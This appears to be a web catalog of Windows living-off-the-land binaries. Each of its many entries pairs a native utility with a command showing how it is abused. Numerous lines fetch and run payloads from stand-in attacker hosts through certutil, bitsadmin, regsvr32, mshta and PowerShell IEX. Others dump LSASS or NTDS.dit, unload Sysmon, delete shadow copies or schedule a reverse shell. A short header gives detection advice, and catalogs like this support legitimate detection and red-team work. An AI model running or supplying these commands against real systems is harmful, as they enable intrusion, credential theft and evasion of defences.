Windows Living-off-the-Land Binaries (LOLBAS)
Native Windows utilities abused for file transfer, UAC bypass, credential dumping, and defense evasion.
Monitor Windows Security Event 4688 (Process Creation with Command Line Auditing enabled) and Sysmon Event ID 1 (Process Create), Event ID 3 (Network Connect), Event ID 7 (Image Loaded), and Event ID 10 (ProcessAccess to lsass.exe). Enforce WDAC and AppLocker publisher rules to restrict untrusted script engines.
C:\Windows\System32C:\Windows\SysWOW64C:\Windows\Microsoft.NET\Framework64\*windows Living-off-the-Land Catalog
248 verified utilitiescertutil.exe
Certutil.exe is a command-line program installed as part of Certificate Services. Attackers frequently abuse it to download arbitrary files from remote URLs, encode/decode Base64 payloads to evade detection, and hash files.
certutil.exe -urlcache -split -f http://example.com/payload.exe %TEMP%\update.exemshta.exe
Microsoft HTML Application (MSHTA) host executes .hta files and scripts embedded inside web pages. Attackers abuse mshta to execute malicious inline VBScript or JScript directly from the command line or remote HTTP servers.
mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell.exe -nop -w hidden -enc JAB...="",0"))rundll32.exe
The Rundll32 program loads and runs 32-bit and 64-bit Dynamic Link Libraries (DLLs). Threat actors use it to execute exported functions from arbitrary DLLs, run scriptlets, or execute code via MSHTML protocol handlers.
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/payload.sct")bitsadmin.exe
Background Intelligent Transfer Service (BITS) administrator tool manages asynchronous, throttled background transfers. Attackers use BITS to stage remote downloads that survive reboots and evade conventional network monitoring.
bitsadmin.exe /transfer myJob /download /priority foreground http://c2.evil.com/implant.exe C:\Windows\Temp\implant.exeregsvr32.exe
Regsvr32 registers and unregisters OLE controls, such as DLLs and ActiveX controls in the Windows Registry. When passed the /i switch pointing to an HTTP/HTTPS URL and scrobj.dll, regsvr32 downloads and executes remote COM scriptlets in memory (the classic Squiblydoo technique).
regsvr32.exe /s /n /u /i:http://attack.server/payload.sct scrobj.dllpowershell.exe
PowerShell is a powerful task automation framework and scripting engine. Widely abused by threat actors for in-memory execution (fileless malware), credential dumping, remote command execution, and AMSI bypasses.
powershell.exe -nop -w hidden -ep bypass -c "IEX ((New-Object Net.WebClient).DownloadString('http://c2.server/stage2.ps1'))"wmic.exe
Windows Management Instrumentation Command-line (WMIC) provides a command-line interface for WMI. Abused for process execution, remote lateral movement, process creation, and running XSL stylesheets.
wmic.exe process call create "powershell.exe -w hidden -enc ..."cscript.exe
CScript.exe is a command-line version of the Windows Script Host that facilitates running VBScript and JScript scripts. Frequently abused to run dropped scripts, execute obfuscated VBScript files, and perform defense evasion.
cscript.exe //B //Nologo %TEMP%\recon.vbsAddinUtil.exe
.NET Tool used for updating cache files for Microsoft Office Add-Ins.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddinUtil.exe -AddinRoot:.AppInstaller.exe
Tool used for installation of AppX/MSIX applications on Windows 10
start ms-appinstaller://?source={REMOTEURL:.exe}Applaunch.exe
Microsoft .NET ClickOnce Launch Utility.
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe" /activate "{REMOTEURL}#APPLICATION_METADATA_HERE"Aspnet_Compiler.exe
ASP.NET Compilation Tool
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -uAt.exe
Schedule periodic tasks
C:\Windows\System32\at.exe 09:00 /interactive /every:m,t,w,th,f,s,su {CMD}Atbroker.exe
Helper binary for Assistive Technology (AT)
ATBroker.exe /start malwareBash.exe
File used by Windows subsystem for Linux
bash.exe -c "{CMD}"CertOC.exe
Used for installing certificates
certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}CertReq.exe
Used for requesting and managing certificates
CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}Change.exe
Remote Desktop Services MultiUser Change Utility
change.exe userCipher.exe
File Encryption Utility
cipher /w:{PATH_ABSOLUTE:folder}Cmd.exe
The command-line interpreter in Windows
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.batCmdkey.exe
creates, lists, and deletes stored user names and passwords or credentials.
cmdkey /listcmdl32.exe
Microsoft Connection Manager Auto-Download
cmdl32 /vpn /lan %cd%\configCmstp.exe
Installs or removes a Connection Manager service profile.
cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}Colorcpl.exe
Binary that handles color management
colorcpl {PATH}ComputerDefaults.exe
ComputerDefaults.exe is a Windows system utility for managing default applications for tasks like web browsing, emailing, and media playback.
ComputerDefaults.exeConfigSecurityPolicy.exe
Binary part of Windows Defender. Used to manage settings in Windows Defender. You can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.
ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL}Conhost.exe
Console Window host
conhost.exe {CMD}Control.exe
Binary used to launch controlpanel items in Windows
control.exe {PATH_ABSOLUTE}:evil.dllCsc.exe
Binary file used by .NET Framework to compile C# code
csc.exe -out:{PATH:.exe} {PATH:.cs}CustomShellHost.exe
A host process that is used by custom shells when using Windows in Kiosk mode.
CustomShellHost.exeDataSvcUtil.exe
DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.
DataSvcUtil /out:{PATH_ABSOLUTE} /uri:{REMOTEURL}Desktopimgdownldr.exe
Windows binary used to configure lockscreen/desktop image
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldrDeviceCredentialDeployment.exe
Device Credential Deployment
DeviceCredentialDeploymentDfsvc.exe
ClickOnce engine in Windows used by .NET
rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}Diantz.exe
Binary that package existing files into a cabinet (.cab) file
diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cabDiskshadow.exe
Diskshadow.exe is a tool that exposes the functionality offered by the volume shadow copy Service (VSS).
diskshadow.exe /s {PATH:.txt}Dnscmd.exe
A command-line interface for managing DNS servers
dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}Esentutl.exe
Binary for working with Microsoft Joint Engine Technology (JET) database
esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /oEudcedit.exe
Private Character Editor Windows Utility
eudceditEventvwr.exe
Displays Windows Event Logs in a GUI window.
eventvwr.exeExpand.exe
Binary that expands one or more compressed files
expand {PATH_SMB:.bat} {PATH_ABSOLUTE:.bat}Explorer.exe
Binary used for managing files and system components within Windows
explorer.exe /root,"{PATH_ABSOLUTE:.exe}"Extexport.exe
Load a DLL located in the c:\test folder with a specific name.
Extexport.exe {PATH_ABSOLUTE:folder} foo barExtrac32.exe
Extract to ADS, copy or overwrite a file with Extrac32.exe
extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exeFindstr.exe
Write to ADS, discover, or download files with Findstr.exe
findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exeFinger.exe
Displays information about a user or users on a specified remote computer that is running the Finger service or daemon
finger user@example.host.com | more +2 | cmdfltMC.exe
Filter Manager Control Program used by Windows
fltMC.exe unload SysmonDrvForfiles.exe
Selects and executes a command on a file or set of files. This command is useful for batch processing.
forfiles /p c:\windows\system32 /m notepad.exe /c "{CMD}"Fsutil.exe
File System Utility
fsutil.exe file setZeroData offset=0 length=9999999999 {PATH_ABSOLUTE}Ftp.exe
A binary designed for connecting to FTP servers
echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txtGpscript.exe
Used by group policy to process scripts
Gpscript /logonHh.exe
Binary used for processing chm files in Windows
HH.exe {REMOTEURL:.bat}Ie4uinit.exe
Executes commands from a specially prepared ie4uinit.inf file.
ie4uinit.exe -BaseSettingsiediagcmd.exe
Diagnostics Utility for Internet Explorer
set windir=c:\test& cd "C:\Program Files\Internet Explorer\" & iediagcmd.exe /out:{PATH_ABSOLUTE:.cab}Ieexec.exe
The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.
ieexec.exe {REMOTEURL:.exe}Ilasm.exe
used for compile c# code into dll or exe.
ilasm.exe {PATH_ABSOLUTE:.txt} /exeIMEWDBLD.exe
Microsoft IME Open Extended Dictionary Module
C:\Windows\System32\IME\SHARED\IMEWDBLD.exe {REMOTEURL}Infdefaultinstall.exe
Binary used to perform installation based on content inside inf files
InfDefaultInstall.exe {PATH:.inf}Installutil.exe
The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}iscsicpl.exe
Microsoft iSCSI Initiator Control Panel tool
c:\windows\syswow64\iscsicpl.exeJsc.exe
Binary file used by .NET to compile JavaScript code to .exe or .dll format
jsc.exe {PATH:.js}Ldifde.exe
Creates, modifies, and deletes LDAP directory objects.
Ldifde -i -f {PATH:.ldf}Makecab.exe
Binary to package existing files into a cabinet (.cab) file
makecab {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:autoruns.cabMavinject.exe
Used by App-v in Windows
MavInject.exe 3110 /INJECTRUNNING {PATH_ABSOLUTE:.dll}Microsoft.Workflow.Compiler.exe
A utility included with .NET that is capable of compiling and executing C# or VB.net code.
Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log}Mmc.exe
Load snap-ins to locally and remotely manage Windows systems
mmc.exe -Embedding {PATH_ABSOLUTE:.msc}Mofcomp.exe
Compiler that parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. Threat actors can leverage this binary to install malicious MOF scripts
mofcomp.exe {PATH_ABSOLUTE:.mof}MpCmdRun.exe
Binary part of Windows Defender. Used to manage settings in Windows Defender
MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}Msbuild.exe
Used to compile and execute code
msbuild.exe {PATH:.xml}Msconfig.exe
MSConfig is a troubleshooting tool which is used to temporarily disable or re-enable software, device drivers or Windows services that run during startup process to help the user determine the cause of a problem with Windows
Msconfig.exe -5Msdt.exe
Microsoft diagnostics tool
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUEMsedge.exe
Microsoft Edge browser
msedge.exe {REMOTEURL:.exe.txt}msedgewebview2.exe
msedgewebview2.exe is the executable file for Microsoft Edge WebView2, which is a web browser control used by applications to display web content.
msedgewebview2.exe --no-sandbox --browser-subprocess-path="{PATH_ABSOLUTE:.exe}"msedge_proxy.exe
Microsoft Edge Browser
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip}Msiexec.exe
Used by Windows to execute msi files
msiexec /quiet /i {PATH:.msi}msoxmled.exe
Microsoft Office XML Editor, used to handle XML documents in Microsoft Office.
msoxmled.exe /verb open {REMOTEURL}Netsh.exe
Netsh is a Windows tool used to manipulate network interface settings.
netsh.exe add helper {PATH_ABSOLUTE:.dll}Ngen.exe
Microsoft Native Image Generator.
ngen.exe {REMOTEURL}odbcad32.exe
ODBC Data Source Administrator to manage User/System DSNs and ODBC drivers.
odbcad32.exeOdbcconf.exe
Used in Windows for managing ODBC connections
odbcconf /a {REGSVR {PATH_ABSOLUTE:.dll}}OfflineScannerShell.exe
Windows Defender Offline Shell
OfflineScannerShellOneDriveStandaloneUpdater.exe
OneDrive Standalone Updater
OneDriveStandaloneUpdaterPcalua.exe
Program Compatibility Assistant
pcalua.exe -a {PATH:.exe}Pcwrun.exe
Program Compatibility Wizard
Pcwrun.exe {PATH_ABSOLUTE:.exe}Pktmon.exe
Capture Network Packets on the windows 10 with October 2018 Update or later.
pktmon.exe start --etwPnputil.exe
Used for installing drivers
pnputil.exe -i -a {PATH_ABSOLUTE:.inf}Presentationhost.exe
File is used for executing Browser applications
Presentationhost.exe {PATH_ABSOLUTE:.xbap}Print.exe
Used by Windows to send files to the printer
print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}PrintBrm.exe
Printer Migration Command-Line Tool
PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip}Provlaunch.exe
Launcher process
provlaunch.exe LOLBinPsr.exe
Windows Problem Steps Recorder, used to record screen and clicks.
psr.exe /start /output {PATH_ABSOLUTE:.zip} /sc 1 /gui 0Query.exe
Remote Desktop Services MultiUser Query Utility
query.exe userRasautou.exe
Windows Remote Access Dialer
rasautou -d {PATH:.dll} -p export_name -a a -e erdrleakdiag.exe
Microsoft Windows resource leak diagnostic tool
rdrleakdiag.exe /p 940 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1Reg.exe
Used to manipulate the registry
reg export HKLM\SOFTWARE\Microsoft\Evilreg {PATH_ABSOLUTE}:evilreg.regRegasm.exe
Part of .NET
regasm.exe {PATH:.dll}Regedit.exe
Used by Windows to manipulate registry
regedit /E {PATH_ABSOLUTE}:regfile.reg HKEY_CURRENT_USER\MyCustomRegKeyRegini.exe
Used to manipulate the registry
regini.exe {PATH}:hidden.iniRegister-cimprovider.exe
Used to register new wmi providers
Register-cimprovider -path {PATH_ABSOLUTE:.dll}Regsvcs.exe
Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies
regsvcs.exe {PATH:.dll}Replace.exe
Used to replace file with another file
replace.exe {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE:folder} /AReset.exe
Remote Desktop Services Reset Utility
reset.exe sessionRpcping.exe
Used to verify rpc connection
rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLMRunexehelper.exe
Launcher process
runexehelper.exe {PATH_ABSOLUTE:.exe}Runonce.exe
Executes a Run Once Task that has been configured in the registry
Runonce.exe /AlternateShellStartupRunscripthelper.exe
Execute target PowerShell script
runscripthelper.exe surfacecheck \\?\{PATH_ABSOLUTE:.txt} {PATH_ABSOLUTE:folder}Sc.exe
Used by Windows to manage services
sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto\ & sc start evilserviceSchtasks.exe
Schedule periodic tasks
schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr "{CMD}"scp.exe
Used for uploading or downloading files over SSH.
scp.exe -o ProxyCommand="{CMD}" . localhost:.Scriptrunner.exe
Execute binary through proxy binary to evade defensive counter measures
Scriptrunner.exe -appvscript {PATH:.exe}Setres.exe
Configures display settings
setres.exe -w 800 -h 600SettingSyncHost.exe
Host Process for Setting Synchronization
SettingSyncHost -LoadAndRunDiagScript {PATH:.exe}setupugc.exe
Setup Unattend Generic Command Processor used during Windows deployment.
setupugc.exe specializeSftp.exe
sftp.exe is a Windows command-line utility that uses the Secure File Transfer Protocol (SFTP) to securely transfer files between a local machine and a remote server.
sftp -o ProxyCommand="{CMD}" .Sigverif.exe
File Signature Verification utility to verify digital signatures of files
sigverif.exessh.exe
Ssh.exe is the OpenSSH compatible client can be used to connect to Windows 10 (build 1809 and later) and Windows Server 2019 devices.
ssh localhost "{CMD}"Stordiag.exe
Storage diagnostic tool
stordiag.exeSyncAppvPublishingServer.exe
Used by App-v to get App-v server lists
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"Tar.exe
Used by Windows to extract and create archives.
tar -cf {PATH}:ads {PATH_ABSOLUTE:folder}Ttdinject.exe
Used by Windows 1809 and newer to Debug Time Travel (Underlying call of tttracer.exe)
TTDInject.exe /ClientParams "7 tmp.run 0 0 0 0 0 0 0 0 0 0" /Launch "{PATH:.exe}"Tttracer.exe
Used by Windows 1809 and newer to Debug Time Travel
tttracer.exe {PATH_ABSOLUTE:.exe}Unregmp2.exe
Microsoft Windows Media Player Setup Utility
rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set "ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP"vbc.exe
Binary file used for compile vbs code
vbc.exe /target:exe {PATH_ABSOLUTE:.vb}Verclsid.exe
Used to verify a COM object before it is instantiated by Windows Explorer
verclsid.exe /S /C {CLSID}Vssadmin.exe
Volume Shadow Copy Service administrative command-line tool
vssadmin delete shadows /all /quietWab.exe
Windows address book manager
wab.exewbadmin.exe
Windows Backup Administration utility
wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quietwbemtest.exe
WMI/WBEM Test Binary
wbemtest.exewinget.exe
Windows Package Manager tool
winget.exe install --manifest {PATH:.yml}Wlrmdr.exe
Windows Logon Reminder executable
wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u {PATH:.exe}WorkFolders.exe
Work Folders
WorkFolderswrite.exe
Windows Write
write.exeWscript.exe
Used by Windows to execute scripts
wscript //e:vbscript {PATH}:script.vbsWsreset.exe
Used to reset Windows Store settings according to its manifest file
wsreset.exewt.exe
Windows Terminal
wt.exe {CMD}wuauclt.exe
Windows Update Client
wuauclt.exe /UpdateDeploymentProvider {PATH_ABSOLUTE:.dll} /RunHandlerComServerXwizard.exe
Execute custom class that has been added to the registry or download a file with Xwizard.exe
xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}Advpack.dll
Utility for installing software and drivers with rundll32.exe
rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},DefaultInstall_SingleUser,1,Comsvcs.dll
COM+ Services
rundll32 C:\windows\system32\comsvcs.dll MiniDump {LSASS_PID} dump.bin fullDesk.cpl
Desktop Settings Control Panel
rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}Dfshim.dll
ClickOnce engine in Windows used by .NET
rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}Ieadvpack.dll
INF installer for Internet Explorer. Has much of the same functionality as advpack.dll.
rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},DefaultInstall_SingleUser,1,Ieframe.dll
Internet Browser DLL for translating HTML code.
rundll32.exe ieframe.dll,OpenURL {PATH_ABSOLUTE:.url}Mshtml.dll
Microsoft HTML Viewer
rundll32.exe Mshtml.dll,PrintHTML {PATH_ABSOLUTE:.hta}Pcwutl.dll
Microsoft HTML Viewer
rundll32.exe pcwutl.dll,LaunchApplication {PATH:.exe}PhotoViewer.dll
Windows Photo Viewer
rundll32.exe "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll",ImageView_Fullscreen {REMOTEURL}Scrobj.dll
Windows Script Component Runtime
rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}Setupapi.dll
Windows Setup Application Programming Interface
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 {PATH_ABSOLUTE:.inf}Shdocvw.dll
Shell Doc Object and Control Library.
rundll32.exe shdocvw.dll,OpenURL {PATH_ABSOLUTE:.url}Shell32.dll
Windows Shell Common Dll
rundll32.exe shell32.dll,Control_RunDLL {PATH_ABSOLUTE:.dll}Shimgvw.dll
Photo Gallery Viewer
rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}Syssetup.dll
Windows NT System Setup
rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 {PATH_ABSOLUTE:.inf}Url.dll
Internet Shortcut Shell Extension DLL.
rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.hta}Zipfldr.dll
Compressed Folder library
rundll32.exe zipfldr.dll,RouteTheCall {PATH:.exe}CL_Invocation.ps1
Aero diagnostics script
. C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1 \nSyncInvoke {CMD}CL_LoadAssembly.ps1
PowerShell Diagnostic Script
powershell.exe -ep bypass -command "set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Fun()"CL_Mutexverifiers.ps1
Proxy execution with CL_Mutexverifiers.ps1
. C:\Windows\diagnostics\system\AERO\CL_Mutexverifiers.ps1 \nrunAfterCancelProcess {PATH:.ps1}Launch-VsDevShell.ps1
Locates and imports a Developer PowerShell module and calls the Enter-VsDevShell cmdlet
powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsWherePath {PATH_ABSOLUTE:.exe}Manage-bde.wsf
Script for managing BitLocker
set comspec={PATH_ABSOLUTE:.exe} & cscript c:\windows\system32\manage-bde.wsfPester.bat
Used as part of the Powershell pester
Pester.bat [/help|?|-?|/?] "$null; {CMD}"Pubprn.vbs
Proxy execution with Pubprn.vbs
pubprn.vbs 127.0.0.1 script:{REMOTEURL:.sct}Syncappvpublishingserver.vbs
Script used related to app-v and publishing server
SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"UtilityFunctions.ps1
PowerShell Diagnostic Script
powershell.exe -ep bypass -command "set-location -path c:\windows\diagnostics\system\networking; import-module .\UtilityFunctions.ps1; RegSnapin ..\..\..\..\temp\unsigned.dll;[Program.Class]::Main()"winrm.vbs
Script used for manage Windows RM settings
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="{CMD}"} -r:http://target:5985AccCheckConsole.exe
Verifies UI accessibility requirements
AccCheckConsole.exe -window "Untitled - Notepad" {PATH_ABSOLUTE:.dll}adplus.exe
Debugging tool included with Windows Debugging Tools
adplus.exe -hang -pn lsass.exe -o {PATH_ABSOLUTE:folder} -quietAgentExecutor.exe
Intune Management Extension included on Intune Managed Devices
AgentExecutor.exe -powershell "{PATH_ABSOLUTE:.ps1}" "{PATH_ABSOLUTE:.1.log}" "{PATH_ABSOLUTE:.2.log}" "{PATH_ABSOLUTE:.3.log}" 60000 "C:\Windows\SysWOW64\WindowsPowerShell\v1.0" 0 1AppCert.exe
Windows App Certification Kit command-line tool.
appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.exe} -reportoutputpath {PATH_ABSOLUTE:.xml}AppLauncher.exe
User Experience Virtualization tool that launches applications under monitoring to capture and synchronize user settings.
AppLauncher.exe {PATH_ABSOLUTE:.exe}Appvlp.exe
Application Virtualization Utility Included with Microsoft Office 2016
AppVLP.exe {PATH_SMB:.bat}Bcp.exe
Microsoft SQL Server Bulk Copy Program utility for importing and exporting data between SQL Server instances and data files.
bcp "SELECT payload_data FROM database.dbo.payloads WHERE id=1" queryout "C:\Windows\Temp\payload.exe" -S localhost -T -cBginfo.exe
Background Information Utility included with SysInternals Suite
bginfo.exe {PATH:.bgi} /popup /nolicpromptCdb.exe
Debugging tool included with Windows Debugging Tools.
cdb.exe -cf {PATH:.wds} -o notepad.execoregen.exe
Binary coregen.exe (Microsoft CoreCLR Native Image Generator) loads exported function GetCLRRuntimeHost from coreclr.dll or from .DLL in arbitrary path. Coregen is located within "C:\Program Files (x86)\Microsoft Silverlight\5.1.50918.0\" or another version of Silverlight. Coregen is signed by Microsoft and bundled with Microsoft Silverlight.
coregen.exe /L {PATH_ABSOLUTE:.dll} dummy_assembly_nameCreatedump.exe
Microsoft .NET Runtime Crash Dump Generator (included in .NET Core)
createdump.exe -n -f {PATH:.dmp} {PID}csi.exe
Command line interface included with Visual Studio.
csi.exe {PATH:.cs}DbgSrv.exe
A process server included with Debugging Tools for Windows for remote user-mode debugging.
dbgsrv.exe -t tcp:port=5005 -c {CMD}DefaultPack.EXE
This binary can be downloaded along side multiple software downloads on the Microsoft website. It gets downloaded when the user forgets to uncheck the option to set Bing as the default search provider.
DefaultPack.EXE /C:"{CMD}"Devinit.exe
Visual Studio 2019 tool
devinit.exe run -t msi-install -i {REMOTEURL:.msi}Devtoolslauncher.exe
Binary will execute specified binary. Part of VS/VScode installation.
devtoolslauncher.exe LaunchForDeploy {PATH_ABSOLUTE:.exe} "{CMD:args}" testdevtunnel.exe
Binary to enable forwarded ports on windows operating systems.
devtunnel.exe host -p 8080dnx.exe
.NET Execution environment file included with .NET.
dnx.exe {PATH_ABSOLUTE:folder}dotnet-counters.exe
.NET diagnostic tool for monitoring performance counters of .NET applications in real-time. Installed via 'dotnet tool install --global dotnet-counters' (.NET SDK required).
dotnet-counters.exe collect --duration 1 -- {PATH:.exe}dotnet-trace.exe
.NET diagnostic tool for collecting runtime traces from .NET applications. Installed via 'dotnet tool install --global dotnet-trace' (.NET SDK required).
dotnet-trace.exe collect --duration 00:00:01 -- {PATH:.exe}Dotnet.exe
dotnet.exe comes with .NET Framework
dotnet.exe {PATH:.dll}dsdbutil.exe
Dsdbutil is a command-line tool that is built into Windows Server. It is available if you have the AD LDS server role installed. Can be used as a command line utility to export Active Directory.
dsdbutil.exe "activate instance ntds" "snapshot" "create" "quit" "quit"dtutil.exe
Microsoft command line utility used to manage SQL Server Integration Services packages.
dtutil.exe /FILE {PATH_ABSOLUTE:.source.ext} /COPY FILE;{PATH_ABSOLUTE:.dest.ext}Dump64.exe
Memory dump tool that comes with Microsoft Visual Studio
dump64.exe {PID} out.dmpDumpMinitool.exe
Dump tool part Visual Studio 2022
DumpMinitool.exe --file {PATH_ABSOLUTE} --processId 1132 --dumpType FullDxcap.exe
DirectX diagnostics/debugger included with Visual Studio.
Dxcap.exe -c {PATH_ABSOLUTE:.exe}ECMangen.exe
Command-line tool for managing certificates in Microsoft Exchange Server.
ECMangen.exe {REMOTEURL}Excel.exe
Microsoft Office binary
Excel.exe {REMOTEURL}Fsi.exe
64-bit FSharp (F#) Interpreter included with Visual Studio and DotNet Core SDK.
fsi.exe {PATH:.fsscript}FsiAnyCpu.exe
32/64-bit FSharp (F#) Interpreter included with Visual Studio.
fsianycpu.exe {PATH:.fsscript}IntelliTrace.exe
Visual Studio command-line tool for collecting and managing diagnostic trace files.
IntelliTrace.exe launch /cp:"collectionplan.xml" /f:"c:\users\public\log" "C:\Windows\System32\calc.exe"Logger.exe
A logging configuration tool from the Windows Kits used to start and manage process logging.
logger.exe RUN "{CMD}"Mftrace.exe
Trace log generation tool for Media Foundation Tools.
Mftrace.exe {PATH:.exe}Microsoft.NodejsTools.PressAnyKey.exe
Part of the NodeJS Visual Studio tools.
Microsoft.NodejsTools.PressAnyKey.exe normal 1 {PATH:.exe}Mpiexec.exe
Command-line tool for running Message Passing Interface (MPI) applications.
mpiexec.exe {CMD}MSAccess.exe
Microsoft Office component
MSAccess.exe {REMOTEURL}Mscopilot.exe
Microsoft Copilot app
mscopilot.exe --no-startup-window --disable-gpu-sandbox --gpu-launcher="{CMD} && taskkill /f /im mscopilot.exe &&"Mscopilot_proxy.exe
Microsoft Copilot proxy launcher
mscopilot_proxy.exe --no-startup-window --disable-gpu-sandbox --gpu-launcher="cmd.exe /c calc.exe && taskkill /f /im mscopilot.exe &&"Msdeploy.exe
Microsoft tool used to deploy Web Applications.
msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="{PATH_ABSOLUTE:.bat}"MsoHtmEd.exe
Microsoft Office component
MsoHtmEd.exe {REMOTEURL}Mspub.exe
Microsoft Publisher
mspub.exe {REMOTEURL}msxsl.exe
Command line utility used to perform XSL transformations.
msxsl.exe {PATH:.xml} {PATH:.xsl}Nmcap.exe
Command-line packet capture utility from Microsoft Network Monitor 3.x.
nmcap.exe /network * /capture /file {PATH_ABSOLUTE:.cap}ntdsutil.exe
Command line utility used to export Active Directory.
ntdsutil.exe "ac i ntds" "ifm" "create full c:\" q qNtsd.exe
Symbolic Debugger for Windows.
ntsd.exe -g {CMD}OpenConsole.exe
Console Window host for Windows Terminal
OpenConsole.exe {PATH:.exe}Outlook.exe
Microsoft Office component
Outlook.exe {REMOTEURL}Pixtool.exe
Command line utility for taking and analyzing PIX GPU captures.
pixtool.exe launch {PATH_ABSOLUTE:.exe}Powerpnt.exe
Microsoft Office binary.
Powerpnt.exe {REMOTEURL}Procdump.exe
SysInternals Memory Dump Tool
procdump.exe -md {PATH:.dll} explorer.exeProtocolHandler.exe
Microsoft Office binary
ProtocolHandler.exe {REMOTEURL}rcsi.exe
Non-Interactive command line inerface included with Visual Studio.
rcsi.exe {PATH:.csx}Remote.exe
Debugging tool included with Windows Debugging Tools
Remote.exe /s {PATH:.exe} anythinghereSqldumper.exe
Debugging utility included with Microsoft SQL.
sqldumper.exe 464 0 0x0110Sqlps.exe
Tool included with Microsoft SQL Server that loads SQL Server cmdlets. Microsoft SQL Server\100 and 110 are Powershell v2. Microsoft SQL Server\120 and 130 are Powershell version 4. Replaced by SQLToolsPS.exe in SQL Server 2016, but will be included with installation for compatability reasons.
Sqlps.exe -noprofileSQLToolsPS.exe
Tool included with Microsoft SQL that loads SQL Server cmdlts. A replacement for sqlps.exe. Successor to sqlps.exe in SQL Server 2016+.
SQLToolsPS.exe -noprofile -command Start-Process {PATH:.exe}Squirrel.exe
Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
squirrel.exe --download {REMOTEURL}te.exe
Testing tool included with Microsoft Test Authoring and Execution Framework (TAEF).
te.exe {PATH:.wsc}Teams.exe
Electron runtime binary which runs the Teams application
teams.exeTestWindowRemoteAgent.exe
TestWindowRemoteAgent.exe is the command-line tool to establish RPC
TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000Tracker.exe
Tool included with Microsoft .Net Framework.
